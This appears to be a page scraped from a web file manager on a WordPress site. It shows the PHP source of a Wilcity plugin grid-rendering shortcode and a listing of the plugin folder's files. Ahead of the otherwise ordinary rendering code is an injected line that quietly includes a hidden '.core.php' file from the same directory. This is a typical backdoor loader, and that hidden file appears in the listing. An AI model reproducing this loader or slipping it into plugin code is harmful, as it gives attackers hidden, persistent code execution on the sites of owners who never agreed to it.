PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
/
core
<?php use WILCITY_SC\SCHelpers; use \WilokeListingTools\Framework\Helpers\GetSettings; use WILCITY_SC\ParseShortcodeAtts\ParseShortcodeAtts; use WilokeListingTools\Framework\Helpers\QueryHelper; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcity_sc_render_new_grid($aAtts) { $oParseSC = new ParseShortcodeAtts($aAtts); $aAtts = $oParseSC->parse(); $aArgs = [ 'TYPE' => 'GRID', 'posts_per_page' => $aAtts['posts_per_page'], 'post_type' => $aAtts['post_type'], 'order' => $aAtts['order'], 'orderby' => $aAtts['orderby'] ]; if (!empty($aAtts['terms_in_sc'])) { foreach ($aAtts['terms_in_sc'] as $taxonomy => $aTerms) { $aArgs['tax_query'][] = [ 'taxonomy' => $taxonomy, 'terms' => $aTerms, 'field' => 'term_id' ]; } } $query = new WP_Query($aArgs); if (!$query->have_posts()) { return ''; } $wrap_class = apply_filters('wilcity-el-class', $aAtts); $wrap_class = implode(' ', $wrap_class).' '.$aAtts['extra_class']; $wrap_class .= apply_filters('wilcity/filter/class-prefix', 'wil-new-grid-wrapper'); $columnClasses = $aAtts['maximum_posts_on_lg_screen'].' '.$aAtts['maximum_posts_on_md_screen'].' '. $aAtts['maximum_posts_on_sm_screen'].' col-xs-6'; $aArgs['postsPerPage'] = abs($aAtts['posts_per_page']); $headingJSON = SCHelpers::parseHeading($aAtts); $aArgs['postsPerPage'] = $aArgs['posts_per_page']; unset($aArgs['posts_per_page']); ?> <div id="<?php echo esc_attr(uniqid('wil-new-grid-')); ?>" class="<?php echo esc_attr($wrap_class); ?>" data-orderby="<?php echo esc_attr($aAtts['orderby']); ?>" data-raw-query-args="<?php echo base64_encode(json_encode($aArgs)); ?>"> <wil-lazy-load-component id="<?php echo esc_attr(uniqid('lazyload-grid')); ?>" :intersection-args="{rootMargin: '100px'}"> <template v-slot:default="{isInView}"> <wil-async-grid v-if="isInView" :query-args="queryArgs" :focus-error-msg="focusErrorMsg" endpoint="<?php echo esc_url(rest_url(WILOKE_PREFIX.'/v2/listings')); ?>" column-classes="<?php echo esc_attr($columnClasses); ?>"> <template v-slot:before-grid="{isLoading, isLoaded, maxPages}"> <div v-if="maxPages > 0"> <wil-section-heading settings="<?php echo base64_encode($headingJSON); ?>"> <?php if ($aAtts['toggle_viewmore'] == 'enable') : ?> <template v-slot:after-heading> <?php $aViewMoreArgs = [ 'postType' => $aAtts['post_type'], 'order' => $aAtts['order'], 'orderby' => $aAtts['orderby'] ]; if (isset($aAtts['terms_in_sc']) && !empty($aAtts['terms_in_sc'])) { $aViewMoreArgs = $aViewMoreArgs + $aAtts['terms_in_sc']; } $aAtts['viewmore_btn_name'] = empty($aAtts['viewmore_btn_name']) ? esc_html__ ('View more', 'wilcity-shortcodes') : $aAtts['viewmore_btn_name']; ?> <div class="clearfix d-inline-block"> <a class="ignore-lava wilcity-view-all mt-10 d-inline-block" href="<?php echo esc_url(QueryHelper::buildSearchPageURL($aViewMoreArgs)); ?>"> <?php echo esc_html($aAtts['viewmore_btn_name']); ?> </a> </div> </template> <?php endif; ?> </wil-section-heading> </div> </template> </wil-async-grid> </template> </wil-lazy-load-component> </div> <?php }
[+]
..
[-] wilcity_render_testimonial_item.php
[edit]
[-] wilcity_render_team_intro_slider.php
[edit]
[-] wilcity_render_modern_term_box.php
[edit]
[-] wilcity_render_modern_term_boxes.php
[edit]
[-] .core.php
[edit]
[-] wilcity_render_contact_us.php
[edit]
[-] wilcity_render_restaurant_listing.php
[edit]
[-] wilcity_render_team_intro_slider_item.php
[edit]
[-] wilcity_render_term_boxes.php
[edit]
[-] wilcity_render_post_types.php
[edit]
[-] wilcity_event_slider_item.php
[edit]
[-] wilcity_listing_slider_item.php
[edit]
[-] wilcity_render_box_icon.php
[edit]
[-] wilcity_render_new_grid.php
[edit]
[-] wilcity_render_hero_search_form.php
[edit]
[-] wilcity_render_term_masonry_items.php
[edit]
[-] wilcity_render_wiloke_wave.php
[edit]
[-] wilcity_render_grid_post.php
[edit]
[-] wilcity_render_rectangle_term_boxes.php
[edit]
[-] wilcity_render_restaurant_listings.php
[edit]
[-] wilcity_widget_list_style.php
[edit]
[-] wilcity_render_heading_ribbon.php
[edit]
[-] wilcity_render_testimonials.php
[edit]
[-] wilcity_render_restaunrant_menu_item.php
[edit]
[-] wilcity_render_events_grid.php
[edit]
[-] wilcity_render_image_box.php
[edit]
[-] wilcity_render_intro_box.php
[edit]
[-] wilcity_render_term_box.php
[edit]
[-] wilcity_render_listings_tabs.php
[edit]
[-] wilcity_render_restaurant_list_menu.php
[edit]
[-] wilcity_render_slider.php
[edit]
[-] wilcity_render_heading.php
[edit]
[-] wilcity_render_event_item.php
[edit]
[-] wilcity_render_rectangle_term_box.php
[edit]
[-] wilcity_post_slider_item.php
[edit]
[-] wilcity_render_terms_slider.php
[edit]
[-] wilcity_render_term_masonry_item.php
[edit]
[-] wilcity_render_grid_item.php
[edit]
[-] wilcity_render_full_width_list_item.php
[edit]
[-] wilcity_render_map.php
[edit]
[-] wilcity_render_hero.php
[edit]
[-] wilcity_terms_box.php
[edit]
[-] wilcity_render_author_slider.php
[edit]
[-] wilcity_render_grid.php
[edit]